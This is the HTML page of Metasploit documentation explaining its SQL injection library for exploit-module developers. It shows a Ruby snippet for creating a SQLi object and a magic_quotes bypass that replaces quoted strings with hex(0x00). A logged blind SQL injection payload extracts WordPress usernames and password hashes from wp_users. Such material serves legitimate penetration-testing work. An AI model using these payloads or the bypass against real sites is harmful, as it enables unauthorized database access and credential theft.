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<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><link rel="shortcut icon" href="/assets/images/favicon.png" type="image/x-icon"><link rel="stylesheet" href="/assets/css/just-the-docs-default.css"> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-4622520-7"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-4622520-7', { 'anonymize_ip': true }); </script> <script type="text/javascript" src="/assets/js/vendor/lunr.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/mermaid@10.8.0/dist/mermaid.min.js"></script> <script type="text/javascript" src="/assets/js/just-the-docs.js"></script><meta name="viewport" content="width=device-width, initial-scale=1"><title>SQL Injection | Metasploit Documentation Penetration Testing Software, Pen Testing Security</title><meta name="generator" content="Jekyll v4.3.4" /><meta property="og:title" content="SQL Injection" /><meta property="og:locale" content="en_US" /><meta name="description" content="View Metasploit Framework Documentation" /><meta property="og:description" content="View Metasploit Framework Documentation" /><link rel="canonical" href="https://rapid7.github.io/metasploit-framework/docs/development/developing-modules/libraries/sql-injection-libraries.html" /><meta property="og:url" content="https://rapid7.github.io/metasploit-framework/docs/development/developing-modules/libraries/sql-injection-libraries.html" /><meta property="og:site_name" content="Metasploit Documentation Penetration Testing Software, Pen Testing Security" /><meta property="og:type" content="website" /><meta name="twitter:card" content="summary" /><meta property="twitter:title" content="SQL Injection" /> <script type="application/ld+json"> {"@context":"https://schema.org","@type":"WebPage","description":"View Metasploit Framework Documentation","headline":"SQL Injection","publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://rapid7.github.io/metasploit-framework/assets/images/favicon.png"}},"url":"https://rapid7.github.io/metasploit-framework/docs/development/developing-modules/libraries/sql-injection-libraries.html"}</script><body> <svg xmlns="http://www.w3.org/2000/svg" style="display: none;"> <symbol id="svg-link" viewBox="0 0 24 24"><title>Link</title><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-link"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path> </svg> </symbol> <symbol id="svg-search" viewBox="0 0 24 24"><title>Search</title><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-search"> <circle cx="11" cy="11" r="8"></circle><line x1="21" y1="21" x2="16.65" y2="16.65"></line> </svg> </symbol> <symbol id="svg-menu" viewBox="0 0 24 24"><title>Menu</title><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-menu"><line x1="3" y1="12" x2="21" y2="12"></line><line x1="3" y1="6" x2="21" y2="6"></line><line x1="3" y1="18" x2="21" y2="18"></line> </svg> </symbol> <symbol id="svg-arrow-right" viewBox="0 0 24 24"><title>Expand</title><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-chevron-right"><polyline points="9 18 15 12 9 6"></polyline> </svg> </symbol> <symbol id="svg-doc" viewBox="0 0 24 24"><title>Document</title><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewB
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</code></pre></div></div><p>Next we create our SQLi object:</p><div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sqli</span> <span class="o">=</span> <span class="n">create_sqli</span><span class="p">(</span><span class="ss">dbms: </span><span class="no">MySQLi</span><span class="o">::</span><span class="no">Common</span><span class="p">,</span> <span class="ss">opts: </span><span class="n">sqli_opts</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">payload</span><span class="o">|</span>
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<span class="c1"># Here is where we write in what to do each request using #{payload} as the spot to inject</span>
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<span class="k">end</span>
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</code></pre></div></div><p><code class="language-plaintext highlighter-rouge">dbms</code> can be set to either <code class="language-plaintext highlighter-rouge">Common</code> if the DB isn’t know, or one of the other databases and methods if it is known ahead of time such as <code class="language-plaintext highlighter-rouge">SQLitei::BooleanBasedBlind</code> <code class="language-plaintext highlighter-rouge">sqli_opts</code> is a hash containing all of the <a href="https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/sqli/common.rb#L12">options</a>.</p><h2 id="notes"> <a href="#notes" class="anchor-heading" aria-labelledby="notes"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Notes</h2><h3 id="run_sql"> <a href="#run_sql" class="anchor-heading" aria-labelledby="run_sql"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> run_sql</h3><p><code class="language-plaintext highlighter-rouge">run_sql</code> can only return 1 column.</p><h3 id="magic_quotes-bypass"> <a href="#magic_quotes-bypass" class="anchor-heading" aria-labelledby="magic_quotes-bypass"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> magic_quotes bypass</h3><p><em>CAN ONLY RETURN ONE COLUMN AT A TIME</em></p><p>At times, PHP will use <code class="language-plaintext highlighter-rouge">magic_quotes</code> to escape <code class="language-plaintext highlighter-rouge">'</code> and <code class="language-plaintext highlighter-rouge">"</code>. This may cause problems in the SQL injection. You’ll know its a problem, because you’ll see log items like this:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Sat Jan 02 14:11:53.103512 2021] [php7:notice] [pid 55607] [client 2.2.2.2:36475] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\\';\\',ifnull(user_login,\\'\\'),ifnull(user_pass,\\'\\')) as binary) mMJZrCxQ from w' at line 1 for query SELECT * FROM wp_chopslider3 WHERE chopslider_id =938076279 OR 1=1 AND if(length(cast((select group_concat(mMJZrCxQ) from (select cast(concat_ws(\\';\\',ifnull(user_login,\\'\\'),ifnull(user_pass,\\'\\')) as binary) mMJZrCxQ from wp_users limit 1) fWLwo) as binary))&1<>0,sleep(1.0),0)
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</code></pre></div></div><p>However, the query was similar to this:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[*] {SQLi} Executing (select group_concat(qcO) from (select cast(concat_ws(';',to_base64(ifnull(user_login,'')),to_base64(ifnull(user_pass,''))) as binary) qcO from wp_users limit 1) dTWyw)
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</code></pre></div></div><p>The query was sent without the escapes, however they were added. The solution is to avoid quotes at all. To do this, we will need to use the <code class="language-plaintext highlighter-rouge">hex</code> encoder</p><div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">payload</span><span class="p">.</span><span class="nf">include?</span><span class="p">(</span><span class="s2">"''"</span><span class="p">)</span>
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<span class="n">payload</span><span class="p">.</span><span class="nf">gsub!</span><span class="p">(</span><span class="s2">"''"</span><span class="p">,</span> <span class="s1">'hex(0x00)'</span><span class="p">)</span>
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<span class="k">end</span>
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</code></pre></div></div><p>This will convert all instances of <code class="language-plaintext highlighter-rouge">''</code> which were previously being escaped to <code class="language-plaintext highlighter-rouge">\'\'</code> to <code class="language-plaintext highlighter-rouge">hex(0x00)</code> which does not get altered.</p><hr><footer><p><a href="#top" id="back-to-top">Back to top</a></p><p class="text-small text-grey-dk-000 mb-0"> <a href="https://github.com/rapid7/metasploit-framework/tree/master/docs/metasploit-framework.wiki/SQL-Injection-Libraries.md" id="edit-this-page">Edit this page on GitHub</a></p></footer></div></div><div class="search-overlay"></div></div><script type="text/javascript" src="/assets/js/toggle_mode.js"></script> <script> var config = { theme: 'default', logLevel: 'fatal', securityLevel: 'strict', startOnLoad: true, arrowMarkerAbsolute: false, er: { diagramPadding: 20, layoutDirection: 'TB', minEntityWidth: 100, minEntityHeight: 75, entityPadding: 15, stroke: 'gray', fill: 'honeydew', fontSize: 12, useMaxWidth: true, }, flowchart:{ diagramPadding: 8, htmlLabels: true, curve: 'basis', }, sequence: { diagramMarginX: 50, diagramMarginY: 10, actorMargin: 50, width: 150, height: 65, boxMargin: 10, boxTextMargin: 5, noteMargin: 10, messageMargin: 35, messageAlign: 'center', mirrorActors: true, bottomMarginAdj: 1, useMaxWidth: true, rightAngles: false, showSequenceNumbers: false, }, gantt: { titleTopMargin: 25, barHeight: 20, barGap: 4, topPadding: 50, leftPadding: 75, fontSize: 11, gridLineStartPadding: 35, fontFamily: '\'Open Sans\', sans-serif', numberSectionStyles: 4, axisFormat: '%Y-%m-%d', topAxis: false, }, }; mermaid.initialize(config); window.mermaid.init(undefined, document.querySelectorAll('.language-mermaid')); </script>
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